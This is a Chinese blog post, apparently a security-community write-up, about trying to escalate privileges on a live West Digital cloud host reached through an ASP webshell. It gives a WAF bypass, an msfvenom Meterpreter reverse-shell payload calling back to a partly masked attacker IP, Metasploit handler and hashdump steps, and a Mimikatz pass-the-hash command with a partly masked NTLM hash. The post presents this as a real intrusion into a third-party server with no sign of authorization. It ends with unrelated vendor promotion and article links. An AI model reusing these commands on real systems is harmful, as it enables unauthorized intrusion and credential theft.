西部数码云主机失败提权案例

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
简介: 西部数码云主机失败提权案例

0x01 前言

这个案例仍然是帮一个朋友看的,说是一台西部数码云主机,他在提权过程中遇到了一些无法解决的问题,所以想让我帮着给看下。


发给我的是一个ASP的Webshell,目标磁盘目录的权限将为宽松,而且可以直接执行系统命令,但是限制了大部分命令和提权EXP的执行。

0x02 信息搜集

目标机器基本信息:

    系统型号: west_yun(西部数码云主机)
    目标系统:Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
    当前权限:ebs-33***\xag***
    开放端口:21、80、135、3306、65132(TermService)
    进程名称:mysqld.exe、建站助手V4.0.exe

    前边我们有说到这台机器限制执行了部分系统命令,进程列表中也没有找到安全防护相关进程,那么就先来看一下限制执行了哪些常用命令,包括但不限于以下这些,而且自己上传的net.exe等系统程序在执行时仍然会提示“拒绝访问”和“发生系统错误 5”

      net.exe、net1.exe、netstat.exe、tasklist.exe、taskkill.exe、sc.exe、reg.exe......


      0x03 实战提权过程

      西部数码云主机都会有云WAF安全保护,比如我们在使用低版本中国菜刀连接这个ASP的Webshell时就会出现下图拦截提示,只需更换为中国菜刀2016版即可成功绕过


      这里我先用了web_delivery和hta_server两个模块,但是遇到了一点问题,没能成功获取到会话,重新生成了一个普通EXE攻击载荷上传至可读写目录中并执行后即可得到目标机器会话

        msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=3*.9*.9.2*8 lport=443 -f exe > /tmp/64.exe
        use exploit/multi/handler
        set payload windows/x64/meterpreter/reverse_tcp
        set lhost 172.16.9.200
        set lport 443
        exploit

        首先尝试了利用MSF下的getsystem、incognito和常用提权EXP等方式进行权限提升,然而均以失败告终!D:\SOFT_PHP_PACKAGE\mysql目录也没有读取和写入权限,无法利用MySQL提权,也不能用hashdump和kiwi命令获取目标机器的哈希值和明文密码

        在前期的信息搜集中发现只有利用提权EXP和MySQL数据库进行权限提升的机率会大一些,但是在上边测试了都不行,很多人搞到这里时可能就会选择放弃了吧!不过最后我们还是发现了可以利用MSF下的post/windows/gather/hashdump模块来导出哈希值。

        这里可能很多人搞不明白为什么Users权限也能导出哈希值?刚开始我也懵逼,不过在经过研究后发现只要SAM注册表项有Users或Everyone的读取权限即可。SAM默认只有System具备完全控制权限,且管理员一般都不会去做修改,所以猜测这应该是有人在提权后故意留下的后门

          d:\wwwroot\***lzs\wwwroot\> reg query HKLM\SAM\SAM
          PS > Get-Acl -Path HKLM:\SAM\SAM | Format-List

          reg.exe在没有被限制执行时可以直接用于查询SAM注册表项,如果被限制执行时还可以用powershell下的Get-Acl查询SAM注册表项权限同时还发现了被限制执行命令的原因可能是因为对应的应用程序被管理员或者诸如建站助手等第三方工具给降权了

            PS > Get-Acl -Path c:\windows\system32\net.exe | Format-List
            PS > Get-Acl -Path c:\windows\system32\cmd.exe | Format-List

            虽然利用post/windows/gather/hashdump模块得到了目标机器哈希值,但由于密码过于复杂,无法通过https://www.cmd5.com解密哈希值得到明文密码,因为Windows 2008及以后操作系统的组策略中默认都启用了密码策略的“密码必须符合复杂性要求”选项

            目前情况就是我们只抓取到目标机器的哈希值,但是没有明文密码、破解不了哈希、添加不了用户,也没有其他更好的提权方式了,那么又该如何进一步拿到高权限会话呢?
            其实我们还是可以尝试下常用的内网横向渗透方式,使用支持HASH传递的远程命令执行工具来执行系统命令。


            注:在本地测试中发现有时虽然成功执行完了Sharp-WMIExec,但是有可能并没有成功执行命令,这时可以尝试使用以下命令重置WMI存储库来解决WMI远程执行命令的问题。

              C:\Users\Administrator>winmgmt /resetrepository
              WMI 存储库已重置

              这里不知道为什么不能利用目标机器上的135端口来执行命令,提示:WMI access denied,当“用户或密码错误”时也会出现这种提示。这里我们尝试了几乎所有的HASH都没能成功执行命令,利用Mimikatz本地HASH注入也失败了,提示:不允许空密码登录。

                privilege::debug
                sekurlsa::pth /user:administrator /domain:. /ntlm:547df6e0f6aa5f*********510cdacf "/run:mstsc.exe /restrictedadmin"

                最终没能很好的利用抓取到的HASH拿到目标服务器权限,所以这是一次失败的提权案例,但文中思路肯定是可行的,如果各位师傅有更好的思路还请私信告知,谢谢!




                相关实践学习
                如何在云端创建MySQL数据库
                开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
                全面了解阿里云能为你做什么
                阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
                相关文章
                |
                4月前
                |
                弹性计算 小程序 Android开发
                使用无影云电脑玩《黑神话·悟空》游戏教程,无需下载,开机即玩!
                本教程详细介绍如何利用阿里云无影云电脑轻松畅玩《黑神话·悟空》游戏,无需下载游戏客户端,开机即可体验。首先需下载无影客户端并购买个人铂金款云电脑(14.9元首月)。购买后,通过输入WeGame版或Steam版镜像分享码并选择电竞模式来配置云电脑。最后,在云电脑中启动WeGame客户端并登录账户,手动添加游戏路径后即可游玩。注意游戏需单独购买,并记得游玩后关闭云电脑以避免额外计费。更多详情与步骤请参阅阿里云官方指南。
                |
                6月前
                |
                前端开发 JavaScript 程序员
                老程序员分享:phpwind之关闭账号通
                老程序员分享:phpwind之关闭账号通
                37 0
                |
                安全
                多家高校网站被挂马 用户应小心QQ盗号木马
                据瑞星“云安全”系统统计,周末共有1123万人次的网民遭到网页挂马攻击,瑞星共截获了3,273,495个挂马网址,比上周同期有所上升。 当日被挂马网站Top5:   (注意:以下网址都带有病毒,请不要点击)     1、“北京大学公共卫生学院”:http://sph.bjmu.edu.cn/Html/downloads/index.htm,被嵌入的恶意网址为http://z.hg9*3.cn/d1/16/ytbf.htm等。
                1298 0
                |
                Web App开发 安全
                金山爱词霸网站被挂马 上网学英语需注意
                  据瑞星“云安全”系统监测,6月8日,“金山爱词霸学习资料”、“华声晨报”、“掌商网”等语言学习、媒体网站被黑客挂马,用户浏览这些网站后,可能会感染病毒:Backdoor.Win32.IRCbot.xdz(后门病毒),用户电脑将被开后门成为“肉鸡”。
                998 0
                |
                安全
                网站被黑导致被西部数码关闭 提示有害信息未处理的解决方案
                前段时间有一客户的网站打不开了,打开网站被提示什么:抱歉,主机因存在有害信息逾期未处理被关闭 Sorry, the site now can not be accessed. 客户第一时间找到我们SINE安全寻求解决方案,我们根据客户的反馈,进行详细的记录,分析问题,找到了被系统自动阻断拦截的原因,客户网站用的是西部数码主机,再一个主要的原因是,客户网站被篡改并上传了一些有害,违法的内容信息,导致被西部数码的有害信息监测处置系统监控到,立即进行了拦截,阻断处理。
                2201 0
                |
                网络安全
                不想备案所以想买个美国主机,听说美国的比较慢?
                不想备案所以想买个美国主机,听说美国的比较慢? 随着美国主机市场普及率增高,美国主机使用过程中出现的问题也让更多企业和朋友感到烦恼,某些用户在使用美国主机时可能感觉网络速度变慢,变卡等状况。那么哪些因素会导致美国主机速度慢呢?阿里云在此为您作简单介绍。
                1536 0
                |
                网络安全
                从周五开始香港主机特别慢,香港主机用户有同感吗?
                从周五开始香港主机特别慢,香港主机用户有同感吗? 随着香港主机市场普及率增高,香港主机使用过程中出现的问题也让更多企业和朋友感到烦恼,某些用户在使用香港主机时可能感觉网络速度变慢,变卡等状况。那么哪些因素会导致香港主机速度慢呢?阿里云在此为您作简单介绍。
                2139 0
                |
                .NET 开发框架 运维
                武汉云服务:网站打不开的几种错误显示及解决方法
                湖北阿里云授权服务中心武汉捷讯技术分享干货的时候了。下面,小编为大家整理的是网站打不开的几种错误显示及解决方法,以供大家参考。
                1765 0